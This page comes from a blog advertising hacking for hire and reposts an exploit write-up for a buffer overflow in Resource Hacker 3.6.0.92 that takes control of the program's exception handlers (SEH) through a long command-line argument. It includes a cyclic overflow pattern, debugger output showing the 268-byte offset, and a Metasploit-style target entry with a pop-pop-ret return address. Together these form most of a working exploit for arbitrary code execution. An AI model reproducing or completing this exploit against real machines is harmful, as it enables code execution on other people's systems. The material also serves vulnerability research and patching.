Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375936

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-06
# Vendor Homepage: http://www.angusj.com/resourcehacker/
# Software Link : http://www.angusj.com/resourcehacker/
# Tested Version: 3.6.0.92
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Heap-based buffer overflow controlling the Structured Exception Handler
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
may allow attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open ResHacker.exe from command line with a large string in Arguments, more
than 268 chars:

File 'C:\ResourceHacker36\ResHacker.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...'

SEH chain of main thread
Address    SE handler
0018FCB4   316A4130
6A413969   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fcb4 overwritten with
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
data after the handler

0BADF00D   ------------------------------
'Targets'        =>
[
[ '<fill in the OS/app version here>',
{
                                       'Ret'         =>    0x00426446, #
pop eax # pop ebx # ret    - ResHacker.exe (change this value from Mona,
with a not \x00 ret address)
                                       'Offset'    =>    268
}
],
],